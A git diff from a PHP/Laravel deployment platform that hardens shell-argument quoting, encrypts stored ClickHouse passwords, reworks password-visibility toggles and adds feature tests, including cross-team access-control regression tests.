});
|
||||
}
|
||||
|
|
@ -141,16 +143,18 @@ function ensureProxyNetworksExist(Server $server)
|
|||
|
||||
if ($server->isSwarm()) {
|
||||
$commands = $networks->map(function ($network) {
|
||||
$safe = escapeshellarg($network);
|
||||
return [
|
||||
"echo 'Ensuring network $network exists...'",
|
||||
"docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network",
|
||||
"echo 'Ensuring network {$safe} exists...'",
|
||||
"docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable {$safe}",
|
||||
];
|
||||
});
|
||||
} else {
|
||||
$commands = $networks->map(function ($network) {
|
||||
$safe = escapeshellarg($network);
|
||||
return [
|
||||
"echo 'Ensuring network $network exists...'",
|
||||
"docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network",
|
||||
"echo 'Ensuring network {$safe} exists...'",
|
||||
"docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable {$safe}",
|
||||
];
|
||||
});
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,39 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
class EncryptExistingClickhouseAdminPasswords extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
try {
|
||||
DB::table('standalone_clickhouses')->chunkById(100, function ($clickhouses) {
|
||||
foreach ($clickhouses as $clickhouse) {
|
||||
$password = $clickhouse->clickhouse_admin_password;
|
||||
|
||||
if (empty($password)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Skip if already encrypted (idempotent)
|
||||
try {
|
||||
Crypt::decryptString($password);
|
||||
|
||||
continue;
|
||||
} catch (Exception) {
|
||||
// Not encrypted yet — encrypt it
|
||||
}
|
||||
|
||||
DB::table('standalone_clickhouses')
|
||||
->where('id', $clickhouse->id)
|
||||
->update(['clickhouse_admin_password' => Crypt::encryptString($password)]);
|
||||
}
|
||||
});
|
||||
} catch (Exception $e) {
|
||||
echo 'Encrypting ClickHouse admin passwords failed.';
|
||||
echo $e->getMessage();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -45,12 +45,13 @@ public function run(): void
|
|||
}
|
||||
|
||||
try {
|
||||
User::create([
|
||||
$user = (new User)->forceFill([
|
||||
'id' => 0,
|
||||
'name' => env('ROOT_USERNAME', 'Root User'),
|
||||
'email' => env('ROOT_USER_EMAIL'),
|
||||
'password' => Hash::make(env('ROOT_USER_PASSWORD')),
|
||||
]);
|
||||
$user->save();
|
||||
echo "\n SUCCESS Root user created successfully.\n\n";
|
||||
} catch (\Exception $e) {
|
||||
echo "\n ERROR Failed to create root user: {$e->getMessage()}\n\n";
|
||||
|
|
|
|||
20
openapi.json
20
openapi.json
|
|
@ -407,6 +407,11 @@
|
|||
"type": "boolean",
|
||||
"default": true,
|
||||
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
|
||||
},
|
||||
"is_preserve_repository_enabled": {
|
||||
"type": "boolean",
|
||||
"default": false,
|
||||
"description": "Preserve repository during deployment."
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
|
|
@ -852,6 +857,11 @@
|
|||
"type": "boolean",
|
||||
"default": true,
|
||||
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
|
||||
},
|
||||
"is_preserve_repository_enabled": {
|
||||
"type": "boolean",
|
||||
"default": false,
|
||||
"description": "Preserve repository during deployment."
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
|
|
@ -1297,6 +1307,11 @@
|
|||
"type": "boolean",
|
||||
"default": true,
|
||||
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
|
||||
},
|
||||
"is_preserve_repository_enabled": {
|
||||
"type": "boolean",
|
||||
"default": false,
|
||||
"description": "Preserve repository during deployment."
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
|
|
@ -2704,6 +2719,11 @@
|
|||
"type": "boolean",
|
||||
"default": true,
|
||||
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
|
||||
},
|
||||
"is_preserve_repository_enabled": {
|
||||
"type": "boolean",
|
||||
"default": false,
|
||||
"description": "Preserve repository during deployment."
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
|
|
|
|||
16
openapi.yaml
16
openapi.yaml
|
|
@ -291,6 +291,10 @@ paths:
|
|||
type: boolean
|
||||
default: true
|
||||
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
|
||||
is_preserve_repository_enabled:
|
||||
type: boolean
|
||||
default: false
|
||||
description: 'Preserve repository during deployment.'
|
||||
type: object
|
||||
responses:
|
||||
'201':
|
||||
|
|
@ -575,6 +579,10 @@ paths:
|
|||
type: boolean
|
||||
default: true
|
||||
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
|
||||
is_preserve_repository_enabled:
|
||||
type: boolean
|
||||
default: false
|
||||
description: 'Preserve repository during deployment.'
|
||||
type: object
|
||||
responses:
|
||||
'201':
|
||||
|
|
@ -859,6 +867,10 @@ paths:
|
|||
type: boolean
|
||||
default: true
|
||||
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
|
||||
is_preserve_repository_enabled:
|
||||
type: boolean
|
||||
default: false
|
||||
description: 'Preserve repository during deployment.'
|
||||
type: object
|
||||
responses:
|
||||
'201':
|
||||
|
|
@ -1741,6 +1753,10 @@ paths:
|
|||
type: boolean
|
||||
default: true
|
||||
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
|
||||
is_preserve_repository_enabled:
|
||||
type: boolean
|
||||
default: false
|
||||
description: 'Preserve repository during deployment.'
|
||||
type: object
|
||||
responses:
|
||||
'200':
|
||||
|
|
|
|||
|
|
@ -10,7 +10,7 @@
|
|||
</label>
|
||||
@endif
|
||||
|
||||
<div class="relative" x-data="{
|
||||
<div class="relative" @success.window="type = '{{ $type }}'" x-data="{
|
||||
type: '{{ $type }}',
|
||||
showDropdown: false,
|
||||
suggestions: [],
|
||||
|
|
@ -185,15 +185,23 @@
|
|||
@click.outside="showDropdown = false">
|
||||
|
||||
@if ($type === 'password' && $allowToPeak)
|
||||
<div x-on:click="changePasswordFieldType"
|
||||
class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hover:text-white z-10">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
<button type="button" x-on:click="type = type === 'password' ? 'text' : 'password'"
|
||||
class="flex absolute inset-y-0 right-0 z-10 items-center pr-2 cursor-pointer dark:hover:text-white"
|
||||
aria-label="Toggle password visibility">
|
||||
<svg x-show="type === 'password'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path stroke="none" d="M0 0h24v24H0z" fill="none" />
|
||||
<path d="M10 12a2 2 0 1 0 4 0a2 2 0 0 0 -4 0" />
|
||||
<path d="M21 12c-2.4 4 -5.4 6 -9 6c-3.6 0 -6.6 -2 -9 -6c2.4 -4 5.4 -6 9 -6c3.6 0 6.6 2 9 6" />
|
||||
</svg>
|
||||
</div>
|
||||
<svg x-cloak x-show="type === 'text'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path stroke="none" d="M0 0h24v24H0z" fill="none" />
|
||||
<path d="M10.585 10.587a2 2 0 0 0 2.829 2.828" />
|
||||
<path d="M16.681 16.673a8.717 8.717 0 0 1 -4.681 1.327c-3.6 0 -6.6 -2 -9 -6c1.272 -2.12 2.712 -3.678 4.32 -4.674m2.86 -1.146a9.055 9.055 0 0 1 1.82 -.18c3.6 0 6.6 2 9 6c-.666 1.11 -1.379 2.067 -2.138 2.87" />
|
||||
<path d="M3 3l18 18" />
|
||||
</svg>
|
||||
</button>
|
||||
@endif
|
||||
|
||||
<input
|
||||
|
|
@ -202,6 +210,8 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
|
|||
@keydown="handleKeydown($event)"
|
||||
@click="handleInput()"
|
||||
autocomplete="{{ $autocomplete }}"
|
||||
x-bind:type="type"
|
||||
x-bind:class="{ 'truncate': type === 'text' && ! $el.disabled }"
|
||||
{{ $attributes->merge(['class' => $defaultClass]) }}
|
||||
@required($required)
|
||||
@readonly($readonly)
|
||||
|
|
@ -210,12 +220,10 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
|
|||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4"
|
||||
@endif
|
||||
wire:loading.attr="disabled"
|
||||
@if ($type === 'password')
|
||||
:type="type"
|
||||
@else
|
||||
@disabled($disabled)
|
||||
@if ($type !== 'password')
|
||||
type="{{ $type }}"
|
||||
@endif
|
||||
@disabled($disabled)
|
||||
@if ($htmlId !== 'null') id="{{ $htmlId }}" @endif
|
||||
name="{{ $name }}"
|
||||
placeholder="{{ $attributes->get('placeholder') }}"
|
||||
|
|
|
|||
|
|
@ -13,10 +13,11 @@
|
|||
</label>
|
||||
@endif
|
||||
@if ($type === 'password')
|
||||
<div class="relative" x-data="{ type: 'password' }">
|
||||
<div class="relative" x-data="{ type: 'password' }" @success.window="type = 'password'">
|
||||
@if ($allowToPeak)
|
||||
<div x-on:click="changePasswordFieldType; type = type === 'password' ? 'text' : 'password'"
|
||||
class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hover:text-white">
|
||||
<button type="button" x-on:click="type = type === 'password' ? 'text' : 'password'"
|
||||
class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hover:text-white"
|
||||
aria-label="Toggle password visibility">
|
||||
{{-- Eye icon (shown when password is hidden) --}}
|
||||
<svg x-show="type === 'password'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
|
||||
|
|
@ -32,13 +33,15 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
|
|||
<path d="M16.681 16.673a8.717 8.717 0 0 1 -4.681 1.327c-3.6 0 -6.6 -2 -9 -6c1.272 -2.12 2.712 -3.678 4.32 -4.674m2.86 -1.146a9.055 9.055 0 0 1 1.82 -.18c3.6 0 6.6 2 9 6c-.666 1.11 -1.379 2.067 -2.138 2.87" />
|
||||
<path d="M3 3l18 18" />
|
||||
</svg>
|
||||
</div>
|
||||
</button>
|
||||
@endif
|
||||
<input autocomplete="{{ $autocomplete }}" value="{{ $value }}"
|
||||
x-bind:type="type"
|
||||
x-bind:class="{ 'truncate': type === 'text' && ! $el.disabled }"
|
||||
{{ $attributes->merge(['class' => $defaultClass]) }} @required($required)
|
||||
@if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif
|
||||
wire:loading.attr="disabled"
|
||||
type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
|
||||
@readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
|
||||
name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
|
||||
aria-placeholder="{{ $attributes->get('placeholder') }}"
|
||||
@if ($autofocus) x-ref="autofocusInput" @endif>
|
||||
|
|
|
|||
|
|
@ -30,18 +30,26 @@ function handleKeydown(e) {
|
|||
readonly="{{ $readonly }}" label="dockerfile" autofocus="{{ $autofocus }}" />
|
||||
@else
|
||||
@if ($type === 'password')
|
||||
<div class="relative" x-data="{ type: 'password' }">
|
||||
<div class="relative" x-data="{ type: 'password' }" @success.window="type = 'password'">
|
||||
@if ($allowToPeak)
|
||||
<div x-on:click="changePasswordFieldType"
|
||||
class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer dark:hover:text-white">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
<button type="button" x-on:click="type = type === 'password' ? 'text' : 'password'"
|
||||
class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer dark:hover:text-white"
|
||||
aria-label="Toggle password visibility">
|
||||
<svg x-show="type === 'password'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path stroke="none" d="M0 0h24v24H0z" fill="none" />
|
||||
<path d="M10 12a2 2 0 1 0 4 0a2 2 0 0 0 -4 0" />
|
||||
<path
|
||||
d="M21 12c-2.4 4 -5.4 6 -9 6c-3.6 0 -6.6 -2 -9 -6c2.4 -4 5.4 -6 9 -6c3.6 0 6.6 2 9 6" />
|
||||
</svg>
|
||||
</div>
|
||||
<svg x-cloak x-show="type === 'text'" xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
|
||||
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path stroke="none" d="M0 0h24v24H0z" fill="none" />
|
||||
<path d="M10.585 10.587a2 2 0 0 0 2.829 2.828" />
|
||||
<path d="M16.681 16.673a8.717 8.717 0 0 1 -4.681 1.327c-3.6 0 -6.6 -2 -9 -6c1.272 -2.12 2.712 -3.678 4.32 -4.674m2.86 -1.146a9.055 9.055 0 0 1 1.82 -.18c3.6 0 6.6 2 9 6c-.666 1.11 -1.379 2.067 -2.138 2.87" />
|
||||
<path d="M3 3l18 18" />
|
||||
</svg>
|
||||
</button>
|
||||
@endif
|
||||
<input x-cloak x-show="type === 'password'" value="{{ $value }}"
|
||||
{{ $attributes->merge(['class' => $defaultClassInput]) }} @required($required)
|
||||
|
|
|
|||
|
|
@ -203,30 +203,6 @@ function checkTheme() {
|
|||
let checkHealthInterval = null;
|
||||
let checkIfIamDeadInterval = null;
|
||||
|
||||
function changePasswordFieldType(event) {
|
||||
let element = event.target
|
||||
for (let i = 0; i < 10; i++) {
|
||||
if (element.className === "relative") {
|
||||
break;
|
||||
}
|
||||
element = element.parentElement;
|
||||
}
|
||||
element = element.children[1];
|
||||
if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {
|
||||
if (element.type === 'password') {
|
||||
element.type = 'text';
|
||||
if (element.disabled) return;
|
||||
element.classList.add('truncate');
|
||||
this.type = 'text';
|
||||
} else {
|
||||
element.type = 'password';
|
||||
if (element.disabled) return;
|
||||
element.classList.remove('truncate');
|
||||
this.type = 'password';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function copyToClipboard(text) {
|
||||
navigator?.clipboard?.writeText(text) && window.Livewire.dispatch('success', 'Copied to clipboard.');
|
||||
}
|
||||
|
|
@ -326,4 +302,4 @@ function copyToClipboard(text) {
|
|||
</body>
|
||||
@show
|
||||
|
||||
</html>
|
||||
</html>
|
||||
|
|
|
|||
60
tests/Feature/ApplicationRedirectTest.php
Normal file
60
tests/Feature/ApplicationRedirectTest.php
Normal file
|
|
@ -0,0 +1,60 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\General;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('Application Redirect', function () {
|
||||
test('setRedirect persists the redirect value to the database', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'fqdn' => 'https://example.com,https://www.example.com',
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->set('redirect', 'www')
|
||||
->call('setRedirect')
|
||||
->assertDispatched('success');
|
||||
|
||||
$application->refresh();
|
||||
expect($application->redirect)->toBe('www');
|
||||
});
|
||||
|
||||
test('setRedirect rejects www redirect when no www domain exists', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'fqdn' => 'https://example.com',
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->set('redirect', 'www')
|
||||
->call('setRedirect')
|
||||
->assertDispatched('error');
|
||||
|
||||
$application->refresh();
|
||||
expect($application->redirect)->toBe('both');
|
||||
});
|
||||
});
|
||||
84
tests/Feature/ClonePersistentVolumeUuidTest.php
Normal file
84
tests/Feature/ClonePersistentVolumeUuidTest.php
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\ResourceOperations;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Livewire\Livewire;
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
test('cloning application generates new uuid for persistent volumes', function () {
|
||||
$volume = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-data',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$originalUuid = $volume->uuid;
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedVolume = $newApp->persistentStorages()->first();
|
||||
|
||||
expect($clonedVolume)->not->toBeNull();
|
||||
expect($clonedVolume->uuid)->not->toBe($originalUuid);
|
||||
expect($clonedVolume->mount_path)->toBe('/data');
|
||||
});
|
||||
|
||||
test('cloning application with multiple persistent volumes generates unique uuids', function () {
|
||||
$volume1 = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-data',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$volume2 = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-config',
|
||||
'mount_path' => '/config',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedVolumes = $newApp->persistentStorages()->get();
|
||||
|
||||
expect($clonedVolumes)->toHaveCount(2);
|
||||
|
||||
$clonedUuids = $clonedVolumes->pluck('uuid')->toArray();
|
||||
$originalUuids = [$volume1->uuid, $volume2->uuid];
|
||||
|
||||
// All cloned UUIDs should be unique and different from originals
|
||||
expect($clonedUuids)->each->not->toBeIn($originalUuids);
|
||||
expect(array_unique($clonedUuids))->toHaveCount(2);
|
||||
});
|
||||
182
tests/Feature/CrossTeamIdorServerProjectTest.php
Normal file
182
tests/Feature/CrossTeamIdorServerProjectTest.php
Normal file
|
|
@ -0,0 +1,182 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Boarding\Index as BoardingIndex;
|
||||
use App\Livewire\GlobalSearch;
|
||||
use App\Livewire\Project\CloneMe;
|
||||
use App\Livewire\Project\DeleteProject;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Attacker: Team A
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
// Victim: Team B
|
||||
$this->userB = User::factory()->create();
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
|
||||
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
// Act as attacker (Team A)
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('boarding mount cannot load server from another team via selectedExistingServer', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedServerType' => 'remote',
|
||||
'selectedExistingServer' => $this->serverB->id,
|
||||
]);
|
||||
|
||||
// The server from Team B should NOT be loaded
|
||||
expect($component->get('createdServer'))->toBeNull();
|
||||
});
|
||||
|
||||
test('boarding mount can load own team server via selectedExistingServer', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedServerType' => 'remote',
|
||||
'selectedExistingServer' => $this->serverA->id,
|
||||
]);
|
||||
|
||||
// Own team server should load successfully
|
||||
expect($component->get('createdServer'))->not->toBeNull();
|
||||
expect($component->get('createdServer')->id)->toBe($this->serverA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('boarding mount cannot load project from another team via selectedProject', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedProject' => $this->projectB->id,
|
||||
]);
|
||||
|
||||
// The project from Team B should NOT be loaded
|
||||
expect($component->get('createdProject'))->toBeNull();
|
||||
});
|
||||
|
||||
test('boarding selectExistingProject cannot load project from another team', function () {
|
||||
$component = Livewire::test(BoardingIndex::class)
|
||||
->set('selectedProject', $this->projectB->id)
|
||||
->call('selectExistingProject');
|
||||
|
||||
expect($component->get('createdProject'))->toBeNull();
|
||||
$component->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('boarding selectExistingProject can load own team project', function () {
|
||||
$component = Livewire::test(BoardingIndex::class)
|
||||
->set('selectedProject', $this->projectA->id)
|
||||
->call('selectExistingProject');
|
||||
|
||||
expect($component->get('createdProject'))->not->toBeNull();
|
||||
expect($component->get('createdProject')->id)->toBe($this->projectA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('loadDestinations cannot access server from another team', function () {
|
||||
$component = Livewire::test(GlobalSearch::class)
|
||||
->set('selectedServerId', $this->serverB->id)
|
||||
->call('loadDestinations');
|
||||
|
||||
// Should dispatch error because server is not found (team-scoped)
|
||||
$component->assertDispatched('error');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('loadEnvironments cannot access project from another team', function () {
|
||||
$component = Livewire::test(GlobalSearch::class)
|
||||
->set('selectedProjectUuid', $this->projectB->uuid)
|
||||
->call('loadEnvironments');
|
||||
|
||||
// Should not load environments from another team's project
|
||||
expect($component->get('availableEnvironments'))->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('cannot mount DeleteProject with project from another team', function () {
|
||||
// Should throw ModelNotFoundException (404) because team-scoped query won't find it
|
||||
Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
|
||||
})->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
|
||||
|
||||
test('can mount DeleteProject with own team project', function () {
|
||||
$component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
|
||||
|
||||
expect($component->get('projectName'))->toBe($this->projectA->name);
|
||||
});
|
||||
});
|
||||
|
||||
describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('cannot mount CloneMe with project UUID from another team', function () {
|
||||
// Should throw ModelNotFoundException because team-scoped query won't find it
|
||||
Livewire::test(CloneMe::class, [
|
||||
'project_uuid' => $this->projectB->uuid,
|
||||
'environment_uuid' => $this->environmentB->uuid,
|
||||
]);
|
||||
})->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
|
||||
|
||||
test('can mount CloneMe with own team project UUID', function () {
|
||||
$component = Livewire::test(CloneMe::class, [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
]);
|
||||
|
||||
expect($component->get('project_id'))->toBe($this->projectA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('deploy cancel API cannot access build server from another team', function () {
|
||||
// Create a deployment queue entry that references Team B's server as build_server
|
||||
$application = \App\Models\Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
$deployment = \App\Models\ApplicationDeploymentQueue::create([
|
||||
'application_id' => $application->id,
|
||||
'deployment_uuid' => 'test-deploy-' . fake()->uuid(),
|
||||
'server_id' => $this->serverA->id,
|
||||
'build_server_id' => $this->serverB->id, // Cross-team build server
|
||||
'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
|
||||
]);
|
||||
|
||||
$token = $this->userA->createToken('test-token', ['*']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer ' . $token->plainTextToken,
|
||||
])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
|
||||
|
||||
// The cancellation should proceed but the build_server should NOT be found
|
||||
// (team-scoped query returns null for Team B's server)
|
||||
// The deployment gets cancelled but no remote process runs on the wrong server
|
||||
$response->assertOk();
|
||||
|
||||
// Verify the deployment was cancelled
|
||||
$deployment->refresh();
|
||||
expect($deployment->status)->toBe(
|
||||
\App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value
|
||||
);
|
||||
});
|
||||
});
|
||||
162
tests/Feature/GetLogsCommandInjectionTest.php
Normal file
162
tests/Feature/GetLogsCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,162 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\GetLogs;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
